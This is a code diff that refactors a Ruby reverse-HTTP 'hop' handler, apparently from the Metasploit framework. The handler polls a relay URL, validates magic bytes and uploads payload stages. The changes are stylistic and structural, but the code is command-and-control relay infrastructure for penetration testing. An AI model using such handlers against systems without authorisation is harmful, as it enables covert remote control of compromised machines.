@@ -18,14 +18,23 @@ module ReverseHopHttp
18
18
19
19
include Msf ::Handler ::ReverseHttp
20
20
21
- @@hophandlers = { } # Keeps track of what hops have active handlers
22
-
23
21
#
24
22
# Magic bytes to know we are talking to a valid hop
25
23
#
26
- def magic
27
- 'TzGq'
28
- end
24
+ MAGIC = 'TzGq'
25
+
26
+ # hop_handlers is a class-level instance variable
27
+ class << self ; attr_accessor :hop_handlers end
28
+ attr_accessor :monitor_thread # :nodoc:
29
+ attr_accessor :handlers # :nodoc:
30
+ attr_accessor :mclient # :nodoc:
31
+ attr_accessor :current_url # :nodoc:
32
+ attr_accessor :control # :nodoc:
33
+
34
+ #
35
+ # Keeps track of what hops have active handlers
36
+ #
37
+ @hop_handlers = { }
29
38
30
39
#
31
40
# Returns the string representation of the handler type
@@ -63,18 +72,18 @@ def start_handler
63
72
}
64
73
)
65
74
#First we need to verify we will not stomp on another handler's hop
66
- if @@hophandlers . has_key? full_uri
75
+ if ReverseHopHttp . hop_handlers . has_key? ( full_uri )
67
76
raise RuntimeError , "Already running a handler for hop #{ full_uri } ."
68
77
end
69
- @@hophandlers [ full_uri ] = self
78
+ ReverseHopHttp . hop_handlers [ full_uri ] = self
70
79
self . monitor_thread = Rex ::ThreadFactory . spawn ( 'ReverseHopHTTP' , false , uri ,
71
80
self ) do |uri , hop_http |
72
81
control = "#{ uri . request_uri } control"
73
82
hop_http . control = control
74
83
hop_http . send_new_stage ( control ) # send stage to hop
75
84
@finish = false
76
85
delay = 1 # poll delay
77
- until @finish and hop_http . handlers . empty?
86
+ until @finish && hop_http . handlers . empty?
78
87
sleep delay
79
88
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
80
89
crequest = hop_http . mclient . request_raw ( { 'method' => 'GET' , 'uri' => control } )
@@ -87,8 +96,7 @@ def start_handler
87
96
88
97
# validate response
89
98
received = res . body
90
- magic = hop_http . magic
91
- next if received . length < 12 or received . slice! ( 0 , magic . length ) != magic
99
+ next if received . length < 12 || received . slice! ( 0 , MAGIC . length ) != MAGIC
92
100
93
101
# good response
94
102
delay = 0 # we're talking, speed up
@@ -119,7 +127,7 @@ def start_handler
119
127
end
120
128
end
121
129
hop_http . monitor_thread = nil #make sure we're out
122
- @@hophandlers . delete ( full_uri )
130
+ ReverseHopHttp . hop_handlers . delete ( full_uri )
123
131
end
124
132
end
125
133
@@ -172,8 +180,8 @@ def send_response(resp)
172
180
#
173
181
def full_uri
174
182
uri = datastore [ 'HOPURL' ]
175
- return uri if uri . end_with? '/'
176
- return "#{ uri } /" if uri . end_with? '?'
183
+ return uri if uri . end_with? ( '/' )
184
+ return "#{ uri } /" if uri . end_with? ( '?' )
177
185
"#{ uri } ?/"
178
186
end
179
187
@@ -259,20 +267,13 @@ def send_new_stage(control)
259
267
)
260
268
res = self . mclient . send_recv ( crequest )
261
269
print_status ( "Uploaded stage to hop #{ full_uri } " )
262
- print_error ( res . error ) if res != nil and res . error
270
+ print_error ( res . error ) if res != nil && res . error
263
271
264
272
#return conn info
265
273
[ conn_id , url ]
266
274
end
267
275
268
- attr_accessor :monitor_thread # :nodoc:
269
- attr_accessor :handlers # :nodoc:
270
- attr_accessor :mclient # :nodoc:
271
- attr_accessor :current_url # :nodoc:
272
- attr_accessor :control # :nodoc:
273
-
274
276
end
275
277
276
278
end
277
279
end
278
-
0 commit comments